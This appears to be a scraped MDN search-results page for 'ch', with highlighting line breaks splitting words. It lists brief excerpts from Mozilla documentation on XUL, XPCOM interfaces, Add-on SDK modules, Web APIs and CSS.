(for seamonkey 2, firefox, thunderbird and sunbird, see the page: custom toolbar button) you do not need any special te
chnical skills or tools, and almost all the information you need is on this page.
... introduction the te
chnique described here does not involve any hacking.
...it adds a menu
choice to
chatzilla's menu bar (because
chatzilla has no toolbar).
...And 62 more matches
Fetching data from the server - Learn web development
this seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at te
chnologies that make it possible, su
ch as xmlhttprequest and the fet
ch api.
... prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to fet
ch data from the server and use it to update the contents of a web page.
... enter ajax this led to the creation of te
chnologies that allow web pages to request small
chunks of data (su
ch as html, xml, json, or plain text) and display them only when needed, helping to solve the problem described above.
...And 62 more matches
page-mod - Archive of obsolete content
run scripts in the context of web pages whose url mat
ches a given pattern.
... usage to use page-mod, you specify: one or more scripts to atta
ch.
... a pattern that a page's url must mat
ch, in order for the script(s) to be atta
ched to that page.
...And 60 more matches
jspage - Archive of obsolete content
a={array:array,date:date,function:function,number:number,regexp:regexp,string:string};for(var h in a){new native({name:h,initialize:a[h],protect:true}); }var d={"boolean":boolean,"native":native,object:object};for(var c in d){native.typize(d[c],c);}var f={array:["concat","indexof","join","lastindexof","pop","push","reverse","shift","slice","sort","splice","tostring","unshift","valueof"],string:["
charat","
charcodeat","concat","indexof","lastindexof","mat
ch","replace","sear
ch","slice","split","substr","substring","tolowercase","touppercase","valueof"]}; for(var e in f){for(var b=f[e].length;b--;){native.genericize(a[e],f[e][b],true);}}})();var hash=new native({name:"hash",initialize:function(a){if($type(a)=="hash"){a=$unlink(a.getclean()); }for(var b in a){this[b]=a[b];}return this;}});hash.i...
...mplement({forea
ch:function(b,c){for(var a in this){if(this.hasownproperty(a)){b.call(c,this[a],a,this); }}},getclean:function(){var b={};for(var a in this){if(this.hasownproperty(a)){b[a]=this[a];}}return b;},getlength:function(){var b=0;for(var a in this){if(this.hasownproperty(a)){b++; }}return b;}});hash.alias("forea
ch","ea
ch");array.implement({forea
ch:function(c,d){for(var b=0,a=this.length;b<a;b++){c.call(d,this[b],b,this);}}});array.alias("forea
ch","ea
ch"); function $a(b){if(b.item){var a=b.length,c=new array(a);while(a--){c[a]=b[a];}return c;}return array.prototype.slice.call(b);}function $arguments(a){return function(){return arguments[a]; };}function $
chk(a){return !!(a||a===0);}function $clear(a){cleartimeout(a);clearinterval(a);return null;}function $defined(a){return(a!=undefined...
...);}function $ea
ch(c,b,d){var a=$type(c); ((a=="arguments"||a=="collection"||a=="array")?array:hash).ea
ch(c,b,d);}function $empty(){}function $extend(c,a){for(var b in (a||{})){c[b]=a[b];}return c; }function $h(a){return new hash(a);}function $lambda(a){return($type(a)=="function")?a:function(){return a;};}function $merge(){var a=array.slice(arguments); a.unshift({});return $mixin.apply(null,a);}function $mixin(e){for(var d=1,a=arguments.length;d<a;d++){var b=arguments[d];if($type(b)!="object"){continue; }for(var c in b){var g=b[c],f=e[c];e[c]=(f&&$type(g)=="object"&&$type(f)=="object")?$mixin(f,g):$unlink(g);}}return e;}function $pick(){for(var b=0,a=arguments.length; b<a;b++){if(arguments[b]!=undefined){return arguments[b];}}return null;}function $random(b,a){return math.floor(math.random()...
...And 60 more matches
XUL element attributes - Archive of obsolete content
« xul reference home the following attributes are common to all xul elements: align type: one of the values below the align attribute specifies how
child elements of the box are aligned, when the size of the box is larger than the total size of the
children.
... for boxes that have horizontal orientation, it specifies how its
children will be aligned vertically.
... for boxes that have vertical orientation, it specifies how its
children will be aligned horizontally.
...And 60 more matches
Notes on HTML Reflow - Archive of obsolete content
overview reflow is the process by whi
ch the geometry of the layout engine's formatting objects are computed.
... the html formatting objects are called frames : a frame corresponds to the geometric information for (roughly) a single element in the content model; the frames are arranged into a hierar
chy that parallels the containment hierar
chy in the content model.
...all html reflow, including the initial reflow , begins at the root frame , whi
ch corresponds to the <html> element of the html document.
...And 58 more matches
Link prefetching FAQ - HTTP
what is link prefet
ching?
... link prefet
ching is a browser me
chanism, whi
ch utilizes browser idle time to download or prefet
ch documents that the user might visit in the near future.
... a web page provides a set of prefet
ching hints to the browser, and after the browser is finished loading the page, it begins silently prefet
ching specified documents and stores them in its ca
che.
...And 58 more matches
Building accessible custom components in XUL - Archive of obsolete content
introduction dhtml accessibility is a new te
chnology whi
ch enables developers to construct accessible controls within (x)html pages.
...assistive te
chnologies could only see the generic html markup used to build the control; they had no way of knowing that a particular collection of div and span elements should be treated as a single cohesive control (su
ch as a tab bar or a treeview).
... by implementing dhtml accessibility te
chniques, web developers can declare that generic html elements are really acting as specific gui controls (su
ch as a treeitem within a treeview).
...And 57 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
toolkit applications (su
ch as firefox) use a different autocomplete me
chanism than the mozilla suite.
... the example below will create an autocomplete textbox that will sear
ch the user's history.
... attributes accesskey, autocompletepopup, autocompletesear
ch, autocompletesear
chparam, completedefaultindex, completeselectedindex,crop, disableautocomplete, disabled, disablekeynavigation, enablehistory, focused, forcecomplete, highlightnonmat
ches, ignoreblurwhilesear
ching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, nomat
ch, on
change, oninput, onsear
chcomplete, ontextentered, ontextreverted, open, readonly,showcommentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, editable, focused, forcecomplete, highlightnonmat
ches, ignoreblurwhilesear
ching, inputfield, label, maxlength, maxrows, minresultsforpopup, ope...
...And 57 more matches
Introduction to SSL - Archive of obsolete content
other protocols, su
ch as the hypertext transport protocol (http), lightweight directory access protocol (ldap), or internet messaging access protocol (imap), run "on top of" tcp/ip in the sense that they all use tcp/ip to support typical application tasks su
ch as displaying web pages or running email servers.
... the ssl protocol runs above tcp/ip and below higher-level protocols su
ch as http or imap.
... it uses tcp/ip on behalf of the higher-level protocols, and in the process allows an ssl-enabled server to authenticate itself to an ssl-enabled client, allows the client to authenticate itself to the server, and allows both ma
chines to establish an encrypted connection.
...And 57 more matches
Introducing asynchronous JavaScript - Learn web development
previous overview: asyn
chronous next in this article we briefly recap the problems associated with syn
chronous javascript, and take a first look at some of the different asyn
chronous te
chniques you'll encounter, showing how they can help us solve su
ch problems.
... objective: to gain familiarity with what asyn
chronous javascript is, how it differs from syn
chronous javascript, and what use cases it has.
... syn
chronous javascript to allow us to understand what asyn
chronous javascript is, we ought to start off by making sure we understand what syn
chronous javascript is.
...And 57 more matches
Application cache implementation overview
loading a top level document from offline ca
che this happens in nshttp
channel::openca
cheentry().
... all top level document loading (navigation)
channels are set
chooseapplicationca
che flag, whi
ch happens in nsdocshell::douriload().
...
channels having that flag set are sear
ching for nsiapplicationca
che object prior inspecting normal http ca
che.
...And 57 more matches
Codecs used by WebRTC - Web media technologies
to communicate, the two devices need to be able to agree upon a mutually-understood codec for ea
ch track so they can successfully communicate and present the shared media.
... containerless media webrtc uses bare mediastreamtrack objects for ea
ch track being shared from one peer to another, without a container or even a mediastream associated with the tracks.
... whi
ch codecs can be within those tracks is not mandated by the webrtc specification.
...And 56 more matches
XUL accessibility guidelines - Archive of obsolete content
by following these principles and practices, you will be able to write your xul applications in su
ch a way that all users, including those with physical, sensory, or communicative disabilities, with be able to use and enjoy them.
... accessibility is not difficult, but does require a basic understanding of the different types of disabilities, commonly used assistive te
chnologies, and special accessibility features built into the xul languages.
... there is also a xul accessibility tool whi
ch can help test some of these guidelines, but please be aware that no tool can replace human judgement for accessibility, and understanding the guidelines is vital.
...And 54 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
by davey waterson, javascript ar
chitect, aptana there's no debate that javascript is the most widely used language client-side on the web.
...now more than 10 years later, with netscape's te
chnology group having been transformed into the mozilla foundation, server-side javascript is seeing a strong resurgence because of the simplicity it provides to web developers reinvigorated by the fact that today's cpus can process javascript more than 10x faster than the cpus of the mid-90's ever could.
...in fact, the next javascript engine from mozilla, tracemonkey, is poised to boost javascript performance by factors of 20 to 40 times according to brendan ei
ch, mozilla cto and the creator of javascript.
...And 39 more matches
Multiple Rules - Archive of obsolete content
in addition, conditions may be applied to ea
ch rule.
... only those results that mat
ch the conditions have content generated for them.
... for ea
ch result, the conditions associated with ea
ch rule are examined to see if they mat
ch.
...And 38 more matches
RDF Modifications - Archive of obsolete content
« previousnext » one of the most useful aspects of using templates with rdf datasources is that when the rdf datasource
changes, for instance a new triple is added, or a triple is removed, the template updates accordingly, adding or removing result output as needed.
...when the datasource is modified, the datasource will notify any observers of the
change.
...you don't need to implement this observer yourself, although you may add an observer to the datasource if you want to be notified when the data
changes.
...And 38 more matches
Mozilla release FAQ - Archive of obsolete content
originally, the plan was just to re-stabilize the code and release 5.0, but it was decided within the community that the more ambitious
changes that were planned for later integration were close to being ready.
... the old layout engine, networking engine, and several of the older modules were gutted, and mu
ch later, the sources rea
ched the point where netscape was comfortable making a release, and so netscape 6.0 was released.
...the source to mozilla was first released on 31 mar
ch 1998.
...And 38 more matches
LiveConnect Overview - Archive of obsolete content
this
chapter describes using liveconnect te
chnology to let java and javascript code communicate with ea
ch other.
... the
chapter assumes you are familiar with java programming.
...all javascript access to java takes place with these objects, whi
ch are summarized in the following table.
...And 38 more matches
nsIEditorSpellCheck
editor/idl/nsieditorspell
check.idlnot scriptable provides spell
checking commands for nsieditor instances.
... inherits from: nsisupports last
changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/editor/editorspell
checker;1.
... to create an instance, use: var editorspell
check = components.classes["@mozilla.org/editor/editorspell
checker;1"] .createinstance(components.interfaces.nsieditorspell
check); method overview void addwordtodictionary(in wstring word); boolean canspell
check(); void
checkcurrentdictionary(); boolean
checkcurrentword(in wstring suggestedword); boolean
checkcurrentwordnosuggest(in wstring suggestedword); astring getcurrentdictionary(); void getdictionarylist([array, size_is(count)] out wstring dictionarylist, out pruint32 count); wstring getnextmisspelledword(); void getpersonaldictionary(); wstring getpersonaldictionaryword(); wstring getsuggestedword(); void ign...
...And 38 more matches
nsIHttpChannel
netwerk/protocol/http/nsihttp
channel.idlscriptable this interface allows for the modification of http request parameters and the inspection of the resulting http response status and headers when they become available.
... inherits from: nsi
channel last
changed in gecko 1.3 to create an http
channel, use nsiioservice with a http uri, for example: var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var
ch = ios.new
channel("https://www.example.com/", null, null); method overview void getoriginalresponseheader(in acstring aheader, in nsihttpheadervisitor avisitor); acstring getrequestheader(in acstring aheader); acstring getresponseheader(in acstring header); boolean isnoca
cheresponse(); boolean isnostoreresponse(); void redirectto(in nsiuri anewuri); void setemptyrequestheader(in acstring aheader); void setreferrerwithpolicy(in nsiuri referrer, i...
...f the referring uri referrer_policy_origin_when_xorigin same as the default; only send the origin of the referring uri for cross-origin requests referrer_policy_unsafe_url always send the referrer, even when downgrading from https to http attributes attribute type description allowpipelining boolean this attribute is a hint to the
channel to indicate whether or not the underlying http transaction should be allowed to be pipelined with other transactions.
...And 38 more matches
XPCOM Objects - Archive of obsolete content
on top of it lies the
chrome, mostly written in xml, javascript and css.
...well, those are applications that, simply put, take the underlying platform with perhaps a few
changes and additions, and then write their own
chrome layer.
... xpcom is the way in whi
ch the two layers (xulrunner and
chrome) communicate.
...And 37 more matches
Menus - Archive of obsolete content
it is normally atta
ched to a menubar or to a button.
...these tags can be used to create menus whi
ch sit on a menubar or are atta
ched to buttons.
... there are four elements that a menupopup can be atta
ched to.
...And 37 more matches
Positioning - Archive of obsolete content
positioning popups there are several ways in whi
ch the location of a popup on screen may be controlled.
... a submenu, however, is placed by default to the right of the parent menu item, su
ch that the top edge of the menu is aligned with the top edge of the parent menu item.
... for popups atta
ched using the popup or context attributes, the default position to appear is with the upper left corner (or upper right corner in right to left locales) at the position where the mouse was clicked.
...And 37 more matches
Skinning XUL Files by Hand - Archive of obsolete content
to skin a xul file means to
change the overall look of that file by
changing its style information.
... by the way, in contrast to the term skin, "
chrome" refers to the skin and the content and whatever localization and platform-specific files are necessary for a particular part of the application or window.
... the skin is just the style or appearance of an interface, where the
chrome is the style, content, and structure.
...And 37 more matches
tabbrowser - Archive of obsolete content
it is similar to the browser element, except that multiple documents can be displayed, ea
ch in a separate tab.
... attributes autocompleteenabled, autocompletepopup, autoscroll, contentcontextmenu, contenttooltip, handlectrlpageupdown, onbookmarkgroup, onnewtab, tabmodalpromptshowing properties browsers, cangoback, cangoforward, contentdocument, contenttitle, contentvieweredit, contentviewerfile, contentwindow, currenturi, docshell, document
charsetinfo, homepage, markupdocumentviewer, securityui, selectedbrowser, selectedtab, sessionhistory, tabcontainer, tabs, visibletabs, webbrowserfind, webnavigation, webprogress methods addprogresslistener, addtab, addtabsprogresslistener,appendgroup, getbrowseratindex, getbrowserindexfordocument, getbrowserfordocument, getbrowserfortab, geticon, getnotificationbox, gettabforbrowser, gettabmodalp...
... onbookmarkgroup not in firefox type: script code this code executes when the user
chooses the "bookmark this group of tabs" command.
...And 37 more matches
The Business Benefits of Web Standards - Archive of obsolete content
caught between a rock and a hard place, web designers face a formidable
challenge.
... this article discusses how adhering to web standards, and leaving behind proprietary markup and te
chnologies, can contribute to a company's business goals.
...storing css in a separate document (aka style sheet) and applying it to a set of html documents permits a complete
change of presentation for all these documents in a snap.
...And 37 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
the object element: w3c standards and cross-browser issues the object element is part of the html 4.01 specification, and is the recommended me
chanism to invoke plugins.
... traditionally, the object element has been used differently by microsoft internet explorer and by mozilla-based browsers su
ch as netscape 7.
... in ie, the object element is used to invoke a plugin that is built on the activex ar
chitecture.
...And 37 more matches
nsICacheEntryDescriptor
netwerk/ca
che/nsica
cheentrydescriptor.idlscriptable this interface provides a ca
che entry descriptor.
... inherits from: nsica
cheentryinfo last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void close(); void doom(); void doomandfailpendingrequests(in nsresult status); string getmetadataelement(in string key); void markvalid(); nsiinputstream openinputstream(in unsigned long offset); nsioutputstream openoutputstream(in unsigned long offset); void setdatasize(in unsigned long size); void setexpirationtime(in pruint32 expirationtime); void setmetadataelement(in string key, in string value); void visitmetadata(in nsica
chemetadatavisitor visitor); attributes attribute type description accessgranted nsca
cheaccessmode get the access granted to this descriptor.
... see nsica
che for the definitions of the access modes and a thorough description of their corresponding meanings.
...And 37 more matches
Challenge solutions - Developer guides
this page provides solutions to the
challenges posed in the css getting started tutorial.
... why use css colors
challenge without looking up a reference, find five more color names that work in your stylesheet.
...it also supports some more exotic color names like
chartreuse, fus
chia, or burlywood.
...And 21 more matches
switch - JavaScript
the swit
ch statement evaluates an expression, mat
ching the expression's value to a case clause, and executes statements associated with that case, as well as statements in cases that follow the mat
ching case.
... syntax swit
ch (expression) { case value1: //statements executed when the //result of expression mat
ches value1 [break;] case value2: //statements executed when the //result of expression mat
ches value2 [break;] ...
... case valuen: //statements executed when the //result of expression mat
ches valuen [break;] [default: //statements executed when none of //the values mat
ch the value of the expression [break;]] } expression an expression whose result is mat
ched against ea
ch case clause.
...And 21 more matches
simple-prefs - Archive of obsolete content
usage defining and initializing preferences to define preferences and give them initial values, add a new json array called preferences to your package.json file, and give it one entry for ea
ch preference: { "fullname": "example add-on", ...
... "name": "somepreference", "title": "some preference title", "description": "some short description for the preference", "type": "string", "value": "this is the default string value" }, { "description": "how many of them we have.", "name": "myinteger", "type": "integer", "value": 8, "title": "how many?" }] } ea
ch preference is defined by a group of attributes.
... hidden a boolean value whi
ch, if present and set to true, means that the preference won't appear in the add-ons manager interface, so users of your add-on won't be able to see or alter it.
...And 20 more matches
/loader - Archive of obsolete content
provide an environment for loading commonjs style modules, whi
ch makes it possible to consume lots of interesting code that has already been developed.
... secure ea
ch module in an isolated js sandbox and makes any capability imports explicit via calls to the require() function.
... provide unload hooks that may be used to undo
changes made by anything loaded into it.
...And 20 more matches
Adding menus and submenus - Archive of obsolete content
the menubar element should be a
child of a toolbox element because it is treated like another toolbar on systems other than mac os x.
... the toolbox should be positioned near the top of the xul document, and the code should be similar to this: <toolbox> <menubar id="xuls
choolhello-menubar"> <menu id="xuls
choolhello-greeting-menu" label="&xuls
choolhello.greeting.label;"> <menupopup> <menuitem label="&xuls
choolhello.greet.short.label;" oncommand="xuls
chool
chrome.greetingdialog.greetingshort(event);" /> <menuitem label="&xuls
choolhello.greet.medium.label;" oncommand="xuls
chool
chrome.greetingdialog.greetingmedium(event);" /> <menuitem label="&xuls
choolhello.greet.long.label;" on...
...command="xuls
chool
chrome.greetingdialog.greetinglong(event);" /> <menuseparator /> <menuitem label="&xuls
choolhello.greet.custom.label;" oncommand="xuls
chool
chrome.greetingdialog.greetingcustom(event);" /> </menupopup> </menu> </menubar> </toolbox> this code displays a simple menu with options for 3 different types of greetings, a menuseparator, and finally an option to show a custom greeting.
...And 20 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
basically, you are executing remote code with full
chrome access; that is, introducing a remote code execution vulnerability.
...su
ch implementations are meant to be used within a very different security context, namely a website, where the origin of the data is usually known in all instances and where vulnerabilities would have a mu
ch smaller impact.
... jsonp, whi
ch really is just another script tag containing generated, remotely retrieved code, is generally not secure.
...And 20 more matches
XML - Archive of obsolete content
using a combination of xul's ready-made widgets (e.g., menubar, scrollbar, progressmeter, and so on) and xul's incorporation of su
ch standards as html4, dom1/2, and cascading stylesheets, you can design any interface that you can imagine, using any number of different features, tools, and methodologies.
... html allows some elements, su
ch as <br> and <hr>, to be neither closed nor mat
ched with a closing element.
...it does not describe the way in whi
ch this data is to be presented, like its semantically-
challenged cousin html does, and it doesn't have mu
ch to say about the data itself.
...And 20 more matches
menulist - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that can be used for drop-down
choice lists.
...the currently selected
choice is displayed on the menulist element.
... to create the drop-down, put a menupopup inside the menulist containing the
choices as menuitem elements.
...And 20 more matches
tooltip - Archive of obsolete content
onpopupshown type: script code this event is sent to a popup after it has been opened, mu
ch like the onload event is sent to a window when it is opened.
... this value can be specified either as a single word offering pre-defined alignment positions, or as 2 words specifying exactly whi
ch part of the an
chor and popup should be aligned.
... if specified as 2 words, the value indicates whi
ch corner or edge of the an
chor (the first word) is aligned whi
ch whi
ch corner of the popup (the second word).
...And 20 more matches
XULRunner tips - Archive of obsolete content
xulrunner 1.8.0 does not load extensions from the application directory; only the xulrunner directory and the user profile directory are
checked.
... however, it seems that with xulrunner 1.9 the xulrunner directory is ignored, while the profile and application directories are
checked.
... the following prefs must also be set to make the xpinstall dialog, extension manager, and theme manager work: pref("xpinstall.dialog.confirm", "
chrome://mozapps/content/xpinstall/xpinstallconfirm.xul"); pref("xpinstall.dialog.progress.skin", "
chrome://mozapps/content/extensions/extensions.xul?type=themes"); pref("xpinstall.dialog.progress.
chrome", "
chrome://mozapps/content/extensions/extensions.xul?type=extensions"); pref("xpinstall.dialog.progress.type.skin", "extension:manager-themes"); pref("xpinstall.dialog.progress.type.
chrome", "extension:manager-extensions"); pref("extensions.update.enabled", true); pref("extensions.update.interval", 86400); pref("extensions.dss.enabled", false); pref("extensions.dss.swit
chpending", false); pref("extensions.ignoremtime
changes", false); pref("extensi...
...And 20 more matches
The First Install Problem - Archive of obsolete content
proposed solution on mac os x, the system's plugins folder will probably suffice as an install location in whi
ch browsers installed later can find their plugins.
... write a key under hkey_local_ma
chine\software\mozillaplugins\ whi
ch is a vendor-determined plid.
... if the hkey_local_ma
chine\software\mozillaplugins key doesn't exist, create it, and write the vendor-determined plid for ea
ch module that the vendor wishes to install.
...And 20 more matches
L10n Checks
l10n
checks is a python script and library similar to compare-locales.
... it allows mozilla localizers to easily
check their work.
... installation (releases) l10n
checks needs to be installed.
...And 20 more matches
nsIApplicationCacheService
netwerk/base/public/nsiapplicationca
cheservice.idlscriptable this interface manages the set of application ca
che groups that manage offline resources for web applications.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last
changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void ca
cheopportunistically(in nsiapplicationca
che ca
che, in acstring key); nsiapplicationca
che
chooseapplicationca
che(in acstring key); nsiapplicationca
che createapplicationca
che(in acstring group); void deactivategroup(in acstring group); nsiapplicationca
che getactiveca
che(in acstring group); nsiapplicationca
che getapplicationca
che(in acstring clientid); void getgroups([optional] out unsigned long count, [array, size_is(count), retval] out string groupids); methods ca
cheopportunistically() flags the specified key as one that should be ca
ched opportunistically.
... note: this method should propagate the entry to other application ca
ches with the same opportunistic namespace; however, this is not currently implemented.
...And 20 more matches
nsIChannelEventSink
netwerk/base/public/nsi
channeleventsink.idlscriptable implement this interface to gain control over various
channel events, su
ch as redirects.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
channels will try to get this interface from a
channel's notificationcallbacks or, if not available there, from the loadgroup's notificationcallbacks.
... note: prior to gecko 2.0, redirect handling was syn
chronous, using the on
channelredirect() method.
...And 20 more matches
Pinch zoom gestures - Web APIs
there are many types of gestures, from the simple single-tou
ch swipe gesture to the more complex multi-tou
ch twist gesture, where the tou
ch points (aka pointers) move in different directions.
... this example shows how to detect the pin
ch/zoom gesture, whi
ch uses pointer events to detect whether the user moves two pointers closer or farther apart from ea
ch other.
...the pin
ch in (zoom out) gesture, whi
ch moves the two pointers toward ea
ch other,
changes the target element's background color to lightblue.
...And 20 more matches
datepicker - Archive of obsolete content
three types are available, whi
ch can be specified using the type attribute.
... to
change the selected date, the value property may be used to set a new value in the form yyyy-mm-dd.
...in addition, the date, month and year properties may be used to retrieve and modify ea
ch component of the date separately.
...And 17 more matches
listbox - Archive of obsolete content
there are numerous methods whi
ch allow the items in the listbox to be retrieved and modified.
...all the rows in the listbox are the same height, whi
ch is the height of the tallest item in the list.
... if you wish to create a list with variable height rows, or with non-text content, you should instead use the ri
chlistbox element.
...And 17 more matches
treecol - Archive of obsolete content
attributes crop, cycler, dragging, editable, fixed, hidden, hideheader, ignoreincolumnpicker, label, primary, sort, sortactive, sortdirection, src, type, width properties accessibletype style classes treecol-image examples this example shows a
checkbox in the first column, requires the style below.
... <tree flex="1" editable="true"> <treecols> <treecol label="active" type="
checkbox" editable="true"/> <treecol label="name" flex="1" /> </treecols> <tree
children> <treeitem> <treerow> <treecell value="true"/> <treecell label="alice"/> </treerow> </treeitem> <treeitem> <treerow> <treecell value="false"/> <treecell label="bob"/> </treerow> </treeitem> </tree
children> </tree> to make the
checkbox visible on some platforms, the following styles need to be added to the stylesheet (see treecol.type).
...if targeting firefox for mac os x, be sure to use these styles but include your own
checkbox image.
...And 17 more matches
nsISearchEngine
netwerk/base/public/nsibrowsersear
chservice.idlscriptable please add a summary to this article.
... last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void addparam(in astring name, in astring value, in astring responsetype); nsisear
chsubmission getsubmission(in astring data, [optional] in astring responsetype, [optional] in astring purpose); boolean supportsresponsetype(in astring responsetype); attributes attribute type description alias astring an optional shortcut alias for the engine.
... name astring the display name of the sear
ch engine.
...And 17 more matches
Document.createTouch() - Web APIs
note: before gecko 25.0, this method was defined on the documenttou
ch mixin.
... the document.createtou
ch() method creates and returns a new tou
ch object.
... syntax var tou
ch = documenttou
ch.createtou
ch(view, target, identifier, pagex, pagey, screenx, screeny); parameters note: all parameters are optional.
...And 17 more matches
FetchEvent - Web APIs
this is the event type for fet
ch events dispat
ched on the service worker global scope.
... it contains information about the fet
ch, including the request and how the receiver will treat the response.
... it provides the event.respondwith() method, whi
ch allows us to provide a response to this fet
ch.
...And 17 more matches
MediaDevices.ondevicechange - Web APIs
the mediadevices.ondevice
change property is an eventhandler whi
ch specifies a function to be called when the device
change event occurs on a mediadevices instance.
... this happens whenever the set of media devices available to the user agent and, by extension, to the web site or app has
changed.
... syntax mediadevices.ondevice
change = eventhandler; value a function you provide whi
ch accepts as input a event object describing the device
change event that occurred.
...And 17 more matches
RTCPeerConnection.createDataChannel() - Web APIs
the createdata
channel() method on the rtcpeerconnection interface creates a new
channel linked with the remote peer, over whi
ch any kind of data may be transmitted.
... this can be useful for back-
channel content su
ch as images, file transfer, text
chat, game update packets, and so forth.
... if the new data
channel is the first one added to the connection, renegotiation is started by delivering a negotiationneeded event.
...And 17 more matches
ARIA: search role - Accessibility
the sear
ch landmark role is used to identify a section of the page used to sear
ch the page, site, or collection of sites.
... <form role="sear
ch"> <!-- sear
ch input --> </form> description the sear
ch role is a landmark.
... landmarks can be used by assistive te
chnology to quickly identify and navigate to large sections of the document.
...And 17 more matches
Guide to scroll anchoring - CSS: Cascading Style Sheets
as a user of the web, you are probably familiar with the problem that scroll an
choring solves.
... scroll an
choring is a browser feature that aims to solve this problem of content jumping, whi
ch happens if content loads in after the user has already scrolled to a new part of the document.
... scroll an
choring adjusts the scroll position to compensate for the
changes outside of the viewport.
...And 17 more matches
2015 MDN Fellowship Program - Archive of obsolete content
this page is a historical ar
chive, originally hosted at /fellowship, and was localized.
... 2015 mdn fellowship program laun
ching in q1 2015, the mozilla developer fellowship intends to accelerate the involvement of highly-skilled and experienced web developers with the open web.
... who web and mobile developers with an established track record of contributions and expertise in a specific web te
chnology, function or domain who wish to increase the effectiveness of their tea
ching and communications.
...And 16 more matches
page-worker - Archive of obsolete content
usage the module exports a constructor function page, whi
ch constructs a new page worker.
... a page worker may be destroyed, after whi
ch its memory is freed, and you must create a new instance to load another page.
...this can point to a remote file: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file whi
ch you've packaged with your add-on.
...And 16 more matches
dev/panel - Archive of obsolete content
individual built-in tools, su
ch as the javascript debugger or the web console, occupy "panels" in the toolbox.
... with the dev/panel module, you can create your own panels in the toolbox: the panel gets a tab in the toolbox toolbar whi
ch enables the user to open it: you specify the panel's content and behavior using html, css, and javascript.
... when the panel's created, the framework passes it a debuggee: this is a messageport object that you can use to ex
change json messages with the browser that the developer tools are currently debugging.
...And 16 more matches
ui/button/action - Archive of obsolete content
by default the badge's color is red, but you can set your own color using the badgecolor property, specified as a css <color> value: var { togglebutton } = require("sdk/ui/button/toggle"); var button = togglebutton({ id: "my-button1", label: "my button1", icon: "./icon-16.png", on
change:
changed, badge: 0, badgecolor: "#00aaaa" }); function
changed(state) { button.badge = state.badge + 1; if (state.
checked) { button.badgecolor = "#aa00aa"; } else { button.badgecolor = "#00aaaa"; } } specifying multiple icons you can specify just one icon, or multiple icons in different sizes.
...you can also add, or
change, the listener afterwards: var { actionbutton } = require("sdk/ui/button/action"); var button = actionbutton({ id: "my-button", label: "my button", icon: { "16": "./firefox-16.png", "32": "./firefox-32.png" }, onclick: firstclick }); function firstclick(state) { console.log("you clicked '" + state.label + "'"); button.removelistener("click", firstclick)...
...it, but only for the currently active window: var { actionbutton } = require("sdk/ui/button/action"); var button = actionbutton({ id: "my-button", label: "my button", icon: { "16": "./firefox-16.png", "32": "./firefox-32.png" }, onclick: disableforthiswindow }); function disableforthiswindow(state) { button.state("window", { disabled: true }); } to fet
ch the state for a specific window or tab, call state(), passing in the window or tab you are interested in, and it will return the state: var labelforactivetab = button.state("tab").label; to learn more about this, see the api documentation for state().
...And 16 more matches
ui/toolbar - Archive of obsolete content
unlike a panel, a toolbar: does not overlap with any web content is persistent, remaining visible until the user
chooses to close it is a fixed size, and appears in a fixed location usage creating and destroying toolbars you don't specify toolbar content directly: instead, you create other ui components and supply them to the toolbar constructor.
... toolbar events toolbars get atta
ch and deta
ch events when their content is loaded and unloaded, and show and hide events when the uses shows or hides them.
...ea
ch item in items must be an action button, a toggle button, or a frame instance.
...And 16 more matches
RDF Datasources - Archive of obsolete content
they work very similarly to the bookmarks, although the fields will be different in ea
ch case.
... the history list the history datasource provides access to the user's history list whi
ch is the list of urls the user has visited recently.
...example 1 : source <tree flex="1" datasources="rdf:history" ref="nc:historyroot"> <treecols> <treecol id="name" label="name" flex="1"/> <treecol id="url" label="url" flex="1"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <rule> <tree
children> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://home.netscape.com/nc-rdf#name"/> <treecell label="rdf:http://home.netscape.com/nc-rdf#url"/> <treecell label="rdf:http://home.netscape.com/nc-rdf#date"/> </treerow> </treeitem> </tree
children> </rule> </template> </tree> other datasources the tables be...
...And 13 more matches
Simple Menu Bars - Archive of obsolete content
the menu features of xul consist of a number of different elements whi
ch allow you to create menu bars or popup menus.
... menu bars are usually created mu
ch like a toolbar.
...xul does have some special elements whi
ch provide special functionality typical of menus.
...And 13 more matches
Stack Positioning - Archive of obsolete content
placement of stack
children normally, the
child elements of a stack stret
ch to fit the size of the stack.
... however, you may also place the
children at specific coordinates.
... for example, if a stack has two buttons as
children, one may be placed 20 pixels from the left edge and 50 pixels from the top edge.
...And 13 more matches
The Box Model - Archive of obsolete content
a box can lay out its
children in one of two orientations, either horizontally or vertically.
...various attributes placed on the
child elements in addition to some css style properties control the exact position and size of the
children.
...ea
ch element placed in the hbox will be placed horizontally in a row.
...And 13 more matches
Tree Box Objects - Archive of obsolete content
redrawing the tree we already saw the rowcount
changed() function of the tree box object in the previous section.
...you don't need to call the rowcount
changed() function when a row has simply
changed in some way, for example if a cell's label
changes.
...the simplest is to call invalidaterow() whi
ch will redraw a specific row in the tree.
...And 13 more matches
iframe - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an inner frame that works mu
ch like the html <iframe> element.
...the
children of the iframe are ignored.
... warning: when used in
chrome-privileged documents (either html or xul) su
